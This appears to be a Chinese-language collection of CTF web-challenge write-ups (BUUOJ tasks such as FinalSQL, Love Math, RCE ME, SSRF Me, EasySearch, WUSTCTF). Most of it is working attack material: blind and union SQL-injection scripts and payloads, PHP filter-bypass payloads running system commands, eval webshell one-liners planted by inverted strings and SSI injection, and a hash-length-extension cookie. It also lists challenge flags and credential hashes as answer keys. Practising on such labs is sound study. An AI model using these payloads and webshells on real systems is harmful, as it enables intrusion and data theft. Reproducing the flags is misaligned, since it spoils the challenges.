if(isset($_POST['ac'])){
	if($_POST['ac'] === 'add'){
		if($_SESSION['number'] >= 10)
			die("<font color='red' size='4'>申请的广告条数已达上限,请先清理</font>");
		$title = filter(addslashes($_POST['title']));
		$content = addslashes($_POST['content']);
		$sql_query = "select * from ads where title = '$title' limit 0,1";
		$sql_insert = "insert into ads (title, content, belong) values ('$title', '$content', '".addslashes($_SESSION['username'])."')";
		if(preg_match("/updatexml|extractvalue|floor|name_const|join|exp|geometrycollection|multipoint|polygon|multipolygon|linestring|multilinestring|#|--|or|and/i", $title))
			die("<font color='red' size='4'>标题含有敏感词汇</font>");
		$result_query = $conn->query($sql_query);
		if($result_query->num_rows)
			die("<font color='red' size='4'>广告名称已存在</font>");
		else{
			$result_insert = $conn->query($sql_insert);
			if($result_insert){
				$_SESSION['number'] += 1;
				echo "<script>alert('已发送申请');window.location.href='index.php';</script>";
				exit();
			}else{
				die("<font color='red' size='4'>申请失败</font>");
			}
		}
	}
}

$conn->close();
?>

detail.php:

<?php
session_start();
if(!$_SESSION['islogin']){
	header("Location: login.php");
	exit();
}

include_once("./config.php");
// error_reporting(0);

$id = intval($_GET['id']);
$title = htmlspecialchars_decode($_SESSION["t".$id]);
$sql = "select * from ads where title = '$title' limit 0,1";
$result = $conn->query($sql);
@$row = mysqli_fetch_array($result);
echo <<<EOF
	<div class="container">
	<h2>广告详情</h2>
	<table class="table table-bordered">
	<thead>
	<tr>
	<th>广告名</th>
	<th>广告内容</th>
	<th>状态</th>
	</tr>
	</thead>
	<tbody>
EOF;
if($row){
	$t = $row['title'];
	$c = $row['content'];
	echo "<tr><td>".$t."</td><td>".$c."</td><td>待管理确认</td></tr>";
}else{
	echo "<tr><td colspan='2'>未查找到相关广告信息</td></tr><br>";
	print_r("<font color='red'>".mysqli_error($conn)."</font>");
}

echo <<<ROR
	</tbody>
	</table>
	</div>
ROR;
$conn->close();
?>

在register.php中发现所有信息存储在users表中,字段名为name和pass:

-100'/**/union/**/select/**/1,(select/**/group_concat(name,":",pass)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

flag:flag{06462a15-5082-450e-91c9-838c2e6bee4d},admin:53e217ad4c721eb9565cf25a5ec3b66e,test:e10adc3949ba59abbe56e057f20f883e

[BSidesCF 2019]Futurella

看网页源码:flag{81fc69c0-d693-4042-9a9a-821ab2037cf8}


[极客大挑战 2019]FinalSQL

fuzz一下,登陆页面常规的符号如'空格#()--和关键字如and or都被过滤了,考虑注入search.php的id参数

同样fuzz一下,单双引号都报error,猜测是数字型闭合,过滤了空格,同时报错无错误回显,尝试盲注

查表名:

import requests
import string

url = "http://3c2999f1-f7fe-4fe4-9594-2c35c1d93268.node5.buuoj.cn:81/search.php"
chars = string.ascii_lowercase + string.ascii_uppercase + string.digits

tableName = ""
for i in range(1,10):
    for c in chars:
        payload = f"0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))={ord(c)})"
        params = {"id": payload}
        resp = requests.get(url, params=params)
        if "Click others" in resp.text:
            #print(c)
            tableName += c
            break
print(tableName)

# F1naI1y

查字段名:

columnName = ""
for i in range(1,20):
    for c in chars:
        payload = f"0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))={ord(c)})"
        params = {"id": payload}
        resp = requests.get(url, params=params)
        if "Click others" in resp.text:
            print(c)
            columnName += c
            break
print(columnName)

# id username password

查password字段:

chars = r"-{}" + string.ascii_lowercase + string.digits

flag = ""
for i in range(1,43):
    for c in chars:
        payload = f"0^(ascii(substr((select(password)from(F1naI1y)where(password)regexp('flag')),{i},1))={ord(c)})"
        params = {"id": payload}
        resp = requests.get(url, params=params)
        if "Click others" in resp.text:
            print(c)
            flag += c
            break
print(flag)

# flag{f1dc586c-f972-49f4-992e-a1db60c279bb}

[CISCN 2019 初赛]Love Math

开头的$pi用于白名单检验,同时存储参数值_GET

base_convert36进制可以覆盖所有字母和数字,dechex用于绕过引号的过滤

利用动态变量的机制$$pi来实现$_GET的效果,方括号用花括号绕过

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=cat /flag

_GETflag{3d85afda-5f52-44af-ae0e-279bc544d9d9} 

[极客大挑战 2019]RCE ME

取反绕过,直接传一句话木马连蚁剑:

?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AD%BA%AE%AA%BA%AC%AB%A4%CE%A2%D6%C4);  // assert(eval($_REQUEST[1]););

禁用了许多函数,要用到插件as_bypass_php_disable_functions

flag{de68efc7-3711-4123-9331-049213b7c83f}


[De1CTF 2019]SSRF Me

hint:flag is in ./flag.txt

code.txt:

#! /usr/bin/env python 
#encoding=utf-8 
from flask import Flask 
from flask import request 
import socket 
import hashlib 
import urllib 
import sys 
import os 
import json 

reload(sys) 
sys.setdefaultencoding('latin1') 

app = Flask(__name__) 
secert_key = os.urandom(16) 

class Task: 
    def __init__(self, action, param, sign, ip): 
        self.action = action 
        self.param = param 
        self.sign = sign 
        self.sandbox = md5(ip) 
        if(not os.path.exists(self.sandbox)): 
            #SandBox For Remote_Addr 
            os.mkdir(self.sandbox) 
            
    def Exec(self): 
        result = {} 
        result['code'] = 500 
        if (self.checkSign()): 
           	if "scan" in self.action: 
            	tmpfile = open("./%s/result.txt" % self.sandbox, 'w') 
               	resp = scan(self.param) 
                if (resp == "Connection Timeout"): 
                    result['data'] = resp 
                else: 
                    print resp tmpfile.write(resp) 
                tmpfile.close() 
                result['code'] = 200 
                
            if "read" in self.action: 
                f = open("./%s/result.txt" % self.sandbox, 'r') 
                result['code'] = 200 
                result['data'] = f.read() 
                if result['code'] == 500: 
                    result['data'] = "Action Error" 
                else: 
                    result['code'] = 500 
                    result['msg'] = "Sign Error" 
                    return result 
                
    def checkSign(self): 
        if (getSign(self.action, self.param) == self.sign): 
            return True 
        else: 
            return False 
        
#generate Sign For Action Scan. 
@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) 
    action = "scan" 
    return getSign(action, param) 

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action")) 
    param = urllib.unquote(request.args.get("param", "")) 
    sign = urllib.unquote(request.cookies.get("sign")) 
    ip = request.remote_addr 
    if(waf(param)): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) 
    return json.dumps(task.Exec()) 

@app.route('/') 
def index(): 
    return open("code.txt","r").read() 

def scan(param): 
    socket.setdefaulttimeout(1) 
	try: 
        return urllib.urlopen(param).read()[:50] 
	except: 
        return "Connection Timeout" 
    
def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest() 

def md5(content): 
    return hashlib.md5(content).hexdigest() 

def waf(param): 
    check=param.strip().lower()   
    if check.startswith("gopher") or check.startswith("file"): 
        return True 
    else: 
        return False 
    
if __name__ == '__main__': 
    app.debug = False 
    app.run(host='0.0.0.0',port=80)

思路是先用scan把./flag.txt读到tmpfile中,再用read读取tmpfile中的内容,从而获取flag:

geneSign?param=flag.txt
813fcc8e24c182deb6b61769e19ea87b

De1ta?param=flag.txt
Cookie: action=scan; sign=813fcc8e24c182deb6b61769e19ea87b
{"code": 200}

此时已成功读出flag.txt的内容并写入tmpfile,问题在于geneSign无法生成action=read的签名,签名需要用到secret_key,而secert_key = os.urandom(16)是随机生成的,无法直接算出action=read的签名,但观察到对于action的判断是in而非=,if "read" in self.action,也就是说只要action中包含read并通过签名验证即可读取tmpfile

看了其他师傅的wp,有两种方式实现

方法一:

/geneSign?param=flag.txtread
28374b044d5de2e91388bf0c97844ad3

相当于计算了签名:hashlib.md5(secert_key + "flag.txtread" + "scan").hexdigest()

/De1ta?param=flag.txt
Cookie: action=readscan; sign=28374b044d5de2e91388bf0c97844ad3
{"code": 200, "data": "flag{ac6dd589-46ef-4dd7-bac4-e5feab327f23}\n"}

此时验证的签名:hashlib.md5(secert_key + "flag.txt" + "readscan").hexdigest(),十分巧妙地避开了获取secret_key的问题,实现read

方法二:哈希长度扩展攻击

用到了工具https://github.com/shellfeel/hash-ext-attack,无需知道密钥,只要知道密钥长度和原签名字符即可

/De1ta?param=flag.txt
Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%00%00%00%00%00%00%00read;sign=9f8245743d6fa44212ac4d78860a6643

[BJDCTF2020]EasySearch

index.php.swp:

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

爆破出md5值开头为6d0bc1的字符串:

import hashlib
import itertools
import string

target_prefix = "6d0bc1"
charset = string.printable  # 可调整字符集范围以提高效率

def find_matching_hash():
    for length in range(1, 10):  # 尝试不同长度
        for candidate in itertools.product(charset, repeat=length):
            candidate_str = ''.join(candidate)
            md5_hash = hashlib.md5(candidate_str.encode()).hexdigest()
            if md5_hash.startswith(target_prefix):
                print(f"Found: {candidate_str} -> {md5_hash}")
                return candidate_str
    return None

result = find_matching_hash()

# Found: d`H6 -> 6d0bc16554ba2a22d39dca240829bf94

登录后响应头中有信息Url_Is_Here:

public/f1b405acb16df4e12abe7cbef5a03c9e1d0f7318.shtml

查阅相关资料,shtml可以执行ssi相关指令,只需控制username为ssi指令即可实现ssi注入

username=<!--#exec cmd="echo '<?php @eval($_REQUEST[1]) ?>' > ./shell.php" -->

写入一句话木马后连上蚁剑找到flag:flag{af9e11b8-eece-4384-bedd-4918a4e5fd97}


[WUSTCTF2020]颜值成绩查询

过滤了空格,有3列:

?stunum=1/**/order/**/by/**/3/**/--+

过滤了union,试试双写绕过,查出表名flag,查出字段名flag,value,最后查flag字段:

?stunum=0/**/ununionion/**/select/**/1,value,3/**/from/**/flag--+

flag{1858b6cb-b243-4156-82c9-9f36c347a9b4}

懒得测试过滤和绕过也可以直接试试布尔盲注:

import requests
import string

url = "http://dedb92cb-82b8-4609-b424-2bc7b1e48e26.node5.buuoj.cn:81"
chars = r"flag{-}" + string.digits + string.ascii_lowercase 

flag = ""
for i in range(1,45):
    for c in chars:
        payload = f"0^(ascii(substr((select(group_concat(value))from(flag)where(value)regexp('flag')),{i},1))={ord(c)})"
        params = {"stunum": payload}
        resp = requests.get(url, params=params)
        if "admin" in resp.text:
            print(c)
            flag += c
            break
print(flag)